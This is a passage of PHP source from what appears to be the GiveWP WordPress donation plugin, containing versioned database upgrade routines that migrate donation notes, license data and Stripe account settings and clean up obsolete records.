'v230_move_donor_note' ); } } /** * Move donation notes to comment table * * @since 2.3.0 */ function give_v230_move_donation_note_callback() { global $wpdb; // Add comment table if missing. give_v230_add_missing_Comment_tables(); /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $donation_note_count = $wpdb->get_var( $wpdb->prepare( " SELECT count(*) FROM {$wpdb->comments} WHERE comment_type=%s ", 'give_payment_note' ) ); $query = $wpdb->prepare( " SELECT * FROM {$wpdb->comments} WHERE comment_type=%s ORDER BY comment_ID ASC LIMIT 100 OFFSET %d ", 'give_payment_note', $give_updates->get_offset( 100 ) ); $comments = $wpdb->get_results( $query ); if ( $comments ) { $give_updates->set_percentage( $donation_note_count, $give_updates->step * 100 ); // Loop through Donors foreach ( $comments as $comment ) { $donation_id = $comment->comment_post_ID; $form_id = give_get_payment_form_id( $donation_id ); $comment_id = Give()->comment->db->add( [ 'comment_content' => $comment->comment_content, 'user_id' => $comment->user_id, 'comment_date' => date( 'Y-m-d H:i:s', strtotime( $comment->comment_date ) ), 'comment_date_gmt' => get_gmt_from_date( date( 'Y-m-d H:i:s', strtotime( $comment->comment_date_gmt ) ) ), 'comment_parent' => $comment->comment_post_ID, 'comment_type' => is_numeric( get_comment_meta( $comment->comment_ID, '_give_donor_id', true ) ) ? 'donor_donation' : 'donation', ] ); if ( ! $comment_id ) { continue; } // @see https://github.com/impress-org/give/issues/3737#issuecomment-428460802 $restricted_meta_keys = [ 'akismet_result', 'akismet_as_submitted', 'akismet_history', ]; if ( $comment_meta = get_comment_meta( $comment->comment_ID ) ) { foreach ( $comment_meta as $meta_key => $meta_value ) { // Skip few comment meta keys. if ( in_array( $meta_key, $restricted_meta_keys ) ) { continue; } $meta_value = maybe_unserialize( $meta_value ); $meta_value = is_array( $meta_value ) ? current( $meta_value ) : $meta_value; Give()->comment->db_meta->update_meta( $comment_id, $meta_key, $meta_value ); } } Give()->comment->db_meta->update_meta( $comment_id, '_give_form_id', $form_id ); // Delete comment. update_comment_meta( $comment->comment_ID, '_give_comment_moved', 1 ); } } else { $comment_ids = $wpdb->get_col( $wpdb->prepare( " SELECT DISTINCT comment_id FROM {$wpdb->commentmeta} WHERE meta_key=%s AND meta_value=%d ", '_give_comment_moved', 1 ) ); if ( ! empty( $comment_ids ) ) { $comment_ids = "'" . implode( "','", $comment_ids ) . "'"; $wpdb->query( "DELETE FROM {$wpdb->comments} WHERE comment_ID IN ({$comment_ids})" ); $wpdb->query( "DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN ({$comment_ids})" ); } // The Update Ran. give_set_upgrade_complete( 'v230_move_donation_note' ); } } /** * Delete donor wall related donor meta data * * @since 2.3.0 */ function give_v230_delete_dw_related_donor_data_callback() { global $wpdb; $give_updates = Give_Updates::get_instance(); $wpdb->query( "DELETE FROM {$wpdb->donormeta} WHERE meta_key LIKE '%_give_anonymous_donor%' OR meta_key='_give_has_comment';" ); $give_updates->percentage = 100; // The Update Ran. give_set_upgrade_complete( 'v230_delete_donor_wall_related_donor_data' ); } /** * Delete donor wall related comment meta data * * @since 2.3.0 */ function give_v230_delete_dw_related_comment_data_callback() { global $wpdb; $give_updates = Give_Updates::get_instance(); $wpdb->query( "DELETE FROM {$wpdb->give_commentmeta} WHERE meta_key='_give_anonymous_donation';" ); $give_updates->percentage = 100; // The Update Ran. give_set_upgrade_complete( 'v230_delete_donor_wall_related_comment_data' ); } /** * Update donation form goal progress data. * * @since 2.4.0 */ function give_v240_update_form_goal_progress_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); // form query $forms = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => 'give_forms', 'posts_per_page' => 20, ] ); if ( $forms->have_posts() ) { while ( $forms->have_posts() ) { $forms->the_post(); // Update the goal progress for donation form. give_update_goal_progress( get_the_ID() ); }// End while(). wp_reset_postdata(); } else { // No more forms found, finish up. give_set_upgrade_complete( 'v240_update_form_goal_progress' ); } } /** * DB upgrades for Give 2.5.0 * * @since 2.5.0 */ function give_v250_upgrades() { global $wpdb; $old_license = []; $new_license = []; $give_licenses = get_option( 'give_licenses', [] ); $give_options = give_get_settings(); // Get add-ons license key. $addons = []; foreach ( $give_options as $key => $value ) { if ( false !== strpos( $key, '_license_key' ) ) { $addons[ $key ] = $value; } } // Bailout: We do not have any add-on license data to upgrade. if ( empty( $addons ) ) { return false; } foreach ( $addons as $key => $license_key ) { // Get addon shortname. $addon_shortname = str_replace( '_license_key', '', $key ); // Addon license option name. $addon_shortname = "{$addon_shortname}_license_active"; $addon_license_data = get_option( "{$addon_shortname}_license_active", [] ); if ( ! $license_key || array_key_exists( $license_key, $give_licenses ) ) { continue; } $old_license[ $license_key ] = $addon_license_data; } // Bailout. if ( empty( $old_license ) ) { return false; } /* @var stdClass $data */ foreach ( $old_license as $key => $data ) { $tmp = Give_License::request_license_api( [ 'edd_action' => 'check_license', 'license' => $key, ], true ); if ( is_wp_error( $tmp ) || ! $tmp['success'] ) { continue; } $new_license[ $key ] = $tmp; } // Bailout. if ( empty( $new_license ) ) { return false; } $give_licenses = array_merge( $give_licenses, $new_license ); update_option( 'give_licenses', $give_licenses ); /** * Delete data. */ // 1. license keys foreach ( get_option( 'give_settings' ) as $index => $setting ) { if ( false !== strpos( $index, '_license_key' ) ) { give_delete_option( $index ); } } // 2. license api data $wpdb->query( "DELETE FROM {$wpdb->options} WHERE option_name like '%_license_active%' AND option_name like 'give_%'" ); // 3. subscriptions data delete_option( '_give_subscriptions_edit_last' ); delete_option( 'give_subscriptions' ); // 4. misc delete_option( 'give_is_addon_activated' ); give_refresh_licenses(); } /** * DB upgrades for Give 2.5.8 * * @since 2.5.8 */ function give_v258_upgrades() { $is_checkout_enabled = give_is_setting_enabled( give_get_option( 'stripe_checkout_enabled', 'disabled' ) ); // Bailout, if stripe checkout is not active as a gateway. if ( ! $is_checkout_enabled ) { return; } $enabled_gateways = give_get_option( 'gateways', [] ); // Bailout, if Stripe Checkout is already enabled. if ( ! empty( $enabled_gateways['stripe_checkout'] ) ) { return; } $gateways_label = give_get_option( 'gateways_label', [] ); $default_gateway = give_get_option( 'default_gateway' ); // Set Stripe Checkout as active gateway. $enabled_gateways['stripe_checkout'] = 1; // Unset Stripe - Credit Card as an active gateway. unset( $enabled_gateways['stripe'] ); // Set Stripe Checkout same as Stripe as they have enabled Stripe Checkout under Stripe using same label. $gateways_label['stripe_checkout'] = $gateways_label['stripe']; give_update_option( 'gateways_label', $gateways_label ); // If default gateway selected is `stripe` then set `stripe checkout` as default. if ( 'stripe' === $default_gateway ) { give_update_option( 'default_gateway', 'stripe_checkout' ); } // Update the enabled gateways in database. give_update_option( 'gateways', $enabled_gateways ); // Delete the old legacy settings. give_delete_option( 'stripe_checkout_enabled' ); } /** * DB upgrades for Give 2.5.11 * * @since 2.5.11 */ function give_v2511_upgrades() { global $wp_roles, $wpdb; $all_roles = get_editable_roles(); // Run code only if not a fresh install. if ( Give_Cache_Setting::get_option( 'give_version' ) ) { // Remove unused notes column from donor table. $wpdb->query( "ALTER TABLE {$wpdb->prefix}give_donors DROP COLUMN notes;" ); } foreach ( $all_roles as $role => $data ) { $wp_roles->remove_cap( $role, 'delete_give_form' ); $wp_roles->remove_cap( $role, 'delete_give_payment' ); $wp_roles->remove_cap( $role, 'edit_give_form' ); $wp_roles->remove_cap( $role, 'edit_give_payment' ); $wp_roles->remove_cap( $role, 'read_give_form' ); $wp_roles->remove_cap( $role, 'read_give_payment' ); } } /** * Upgrade for version 2.6.3 * * @since 2.6.3 */ function give_v263_upgrades() { $licenses = get_option( 'give_licenses', [] ); if ( $licenses ) { foreach ( $licenses as $license ) { if ( ! empty( $license['is_all_access_pass'] ) ) { // Remove single license which is part of all access pass. // @see https://github.com/impress-org/givewp/issues/4669 $addonSlugs = Give_License::getAddonSlugsFromAllAccessPassLicense( $license ); foreach ( $licenses as $license_key => $data ) { // Skip bundle plan license key. if ( ! empty( $data['is_all_access_pass'] ) ) { continue; } if ( in_array( $data['plugin_slug'], $addonSlugs, true ) ) { unset( $licenses[ $license_key ] ); } } } } update_option( 'give_licenses', $licenses ); } } /** * Upgrade routine to call for backward compatibility to manage default Stripe account. * * @since 2.7.0 * @return void * @global wpdb $wpdb */ function give_v270_upgrades() { global $wpdb; $settingKey = '_give_stripe_get_all_accounts'; $giveSettings = give_get_settings(); $isStripeAccountMigrated = array_key_exists( $settingKey, $giveSettings ); $stripeAccounts = $isStripeAccountMigrated ? $giveSettings[ $settingKey ] : []; // Process, only when there is no Stripe accounts stored. if ( ! $isStripeAccountMigrated ) { $liveSecretKey = give_get_option( 'live_secret_key' ); $testSecretKey = give_get_option( 'test_secret_key' ); $livePublishableKey = give_get_option( 'live_publishable_key' ); $testPublishableKey = give_get_option( 'test_publishable_key' ); $isStripeConfigurationExist = $liveSecretKey || $testSecretKey || $livePublishableKey || $testPublishableKey; if ( $isStripeConfigurationExist ) { // Manual API Keys are enabled. if ( ! give_get_option( 'give_stripe_user_id' ) ) { $uniqueSlug = 'account_1'; $stripeAccounts[ $uniqueSlug ] = [ 'type' => 'manual', 'account_name' => give_stripe_convert_slug_to_title( $uniqueSlug ), 'account_slug' => $uniqueSlug, 'account_email' => '', 'account_country' => '', 'account_id' => '', // This parameter will be empty for manual API Keys Stripe account. 'live_secret_key' => $liveSecretKey, 'test_secret_key' => $testSecretKey, 'live_publishable_key' => $livePublishableKey, 'test_publishable_key' => $testPublishableKey, ]; // Set first Stripe account as default. give_update_option( '_give_stripe_default_account', $uniqueSlug ); } else { $secret_key = give_get_option( 'live_secret_key' ); if ( give_is_test_mode() ) { $secret_key = give_get_option( 'test_secret_key' ); } \Stripe\Stripe::setApiKey( $secret_key ); $accounts_count = is_countable( $stripeAccounts ) ? count( $stripeAccounts ) + 1 : 1; $all_account_slugs = array_keys( $stripeAccounts ); $accountSlug = give_stripe_get_unique_account_slug( $all_account_slugs, $accounts_count ); $accountName = give_stripe_convert_slug_to_title( $accountSlug ); $accountEmail = ''; $accountCountry = ''; $stripeAccountId = give_get_option( 'give_stripe_user_id' ); $accountDetails = give_stripe_get_account_details( $stripeAccountId ); // Setup Account Details for Connected Stripe Accounts. if ( ! empty( $accountDetails->id ) && 'account' === $accountDetails->object ) { $accountName = ! empty( $accountDetails->business_profile->name ) ? $accountDetails->business_profile->name : $accountDetails->settings->dashboard->display_name; $accountSlug = $accountDetails->id; $accountEmail = $accountDetails->email; $accountCountry = $accountDetails->country; } $stripeAccounts[ $accountSlug ] = [ 'type' => 'connect', 'account_name' => $accountName, 'account_slug' => $accountSlug, 'account_email' => $accountEmail, 'account_country' => $accountCountry, 'account_id' => $stripeAccountId, 'live_secret_key' => $liveSecretKey, 'test_secret_key' => $testSecretKey, 'live_publishable_key' => $livePublishableKey, 'test_publishable_key' => $testPublishableKey, ]; // Set first Stripe account as default. give_update_option( '_give_stripe_default_account', $accountSlug ); } give_update_option( $settingKey, $stripeAccounts ); // Remove legacy settings. give_delete_option( 'live_secret_key' ); give_delete_option( 'test_secret_key' ); give_delete_option( 'live_publishable_key' ); give_delete_option( 'test_publishable_key' ); give_delete_option( 'give_stripe_connected' ); give_delete_option( 'give_stripe_user_id' ); } } // Do not need to go beyond this if you are on fresh install and on fresh install donationmeta property is not defined for $wpdb. // Below code is to check if site have donations which processed with Stripe payment method // if not then we will auto complete stripe background update. if ( ! property_exists( $wpdb, 'donationmeta' ) ) { return; } $canStoreStripeInformationInDonation = (bool) $wpdb->get_var( $wpdb->prepare( " SELECT COUNT(donation_id) FROM $wpdb->donationmeta WHERE meta_key=%s AND meta_value LIKE %s", '_give_payment_gateway', '%stripe%' ) ); if ( ! $canStoreStripeInformationInDonation || ! $stripeAccounts ) { give_set_upgrade_complete( 'v270_store_stripe_account_for_donation' ); } } /** * This manual upgrade routine is used set the default Stripe account for all the existing donations. * This process will help us to identify which Stripe account is used to process a specific donation. * * @since 2.7.0 * * @return void */ function give_v270_store_stripe_account_for_donation_callback() { /* @var Give_Updates $give_updates */ $give_updates = Give_Updates::get_instance(); $donations = new WP_Query( [ 'paged' => $give_updates->step, 'status' => 'any', 'order' => 'ASC', 'post_type' => [ 'give_payment' ], 'posts_per_page' => 100, ] ); if ( $donations->have_posts() ) { $give_updates->set_percentage( $donations->found_posts, $give_updates->step * 100 ); while ( $donations->have_posts() ) { $donations->the_post(); $donationId = get_the_ID(); // Continue, if the donation is not processed with any of the supported payment method of Stripe. if ( ! Stripe::isDonationPaymentMethod( give_get_payment_gateway( $donationId ) ) ) { continue; } Stripe::addAccountDetail( $donationId, give_get_payment_form_id( $donationId ) ); } wp_reset_postdata(); } else { // Update Ran Successfully. give_set_upgrade_complete( 'v270_store_stripe_account_for_donation' ); } } /** * Removes any leftover export files that should've been deleted * * @since 2.9.0 */ function give_v290_remove_old_export_files() { @unlink( WP_CONTENT_DIR . '/uploads/give-payments.csv' ); @unlink( WP_CONTENT_DIR . '/uploads/give-donors.csv' ); }